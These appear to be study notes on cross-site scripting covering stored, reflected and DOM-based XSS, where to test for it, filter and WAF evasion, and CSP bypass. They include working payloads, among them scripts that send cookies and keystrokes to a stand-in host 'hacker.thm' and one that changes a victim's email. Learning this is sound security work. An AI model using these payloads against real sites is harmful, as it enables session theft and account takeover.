Cross-site scripting (XSS)
On webserver that is not sanitizing user input, hacker could inject and execute malicious scripts.
Different types of XSS
Stored XSS
Change website for every user by saving script that runs on every page it is opened.
- twitter xss hack
Detection
You’ll need to test every possible point of entry where it seems data is stored and then shown back in areas that other users have access to, like:
- Comments on a blog
- User profile information
- Website Listings
Reflected XSS
Reflected XSS injects scripts into web pages that are reflected back to the user. Get data from server like ip or flag from files.
Detecting
Testing for possible entry points:
- URL Query String parameters
- URL File Path
- HTTP Headers (unlikely exploitable in practice).
DOM-Based XSS
Payload never touches the server, entire attack happens
client-side via JS manipulating the DOM
(e.g. document.write, innerHTML,
eval fed by
location.search/location.hash). Getting
rarer as browsers tighten up.
Example Payloads
Full library of xxs payloads Collection of xss payloads
Detecting
<script>alert(“Hello World”)</script>- popup<script>alert(window.location.hostname)</script>- hostnamedocument.write- overwrite html
Exploiting
- keylogger - XSS keylogger
- Port Scanning
Evasion
Check injection context first, payload needs to match:
- Between tags:
<script>alert(document.cookie)</script> - Inside a tag attribute: close it first,
e.g.
"><script>alert(document.cookie)</script> - Inside existing JS: close the string/statement,
e.g.
';alert(document.cookie)//
Bypassing filters/blocklists:
- Break up blocked keywords with tab/newline/CR (hex
%09%0A%0D), e.g.<IMG SRC="jav	ascript:alert('XSS')"> - Case swapping, null bytes, double encoding, alternate tags/attrs
(
<svg onload=...>,<img src=x onerror=...>) - Blocklist matches on
<script>? try polyglots that fire without it:"><svg/onload=alert(1)>,javascript:alert(1)in an href,<details open ontoggle=alert(1)> - If a WAF strips or re-encodes input, mutation XSS (mXSS):
payload looks inert as submitted, but browser HTML parser rewrites
it into something executable once it round-trips through
innerHTML. Sanitizer sees safe input, DOM ends up dangerous. - CSP in place? check for
unsafe-inline, missingnonce, wildcard/loosescript-src, or a JSONP/whitelisted endpoint you can abuse to load your payload - Short on length? use Tiny XSS Payloads
Resources:
- XSS Filter Evasion Cheat Sheet (OWASP)
- PortSwigger XSS Cheat Sheet (filterable by tag/browser)
- HackTricks - XSS (CSP bypass, mXSS, polyglots)
Types of XSS
- Session Stealing:
<script>fetch('https://hacker.thm/steal?cookie=' + btoa(document.cookie));</script>
- Key Logger:
<script>document.onkeypress = function(e) { fetch('https://hacker.thm/log?key=' + btoa(e.key) );}</script>
- Business Logic:
<script>user.changeEmail('[email protected]');</script>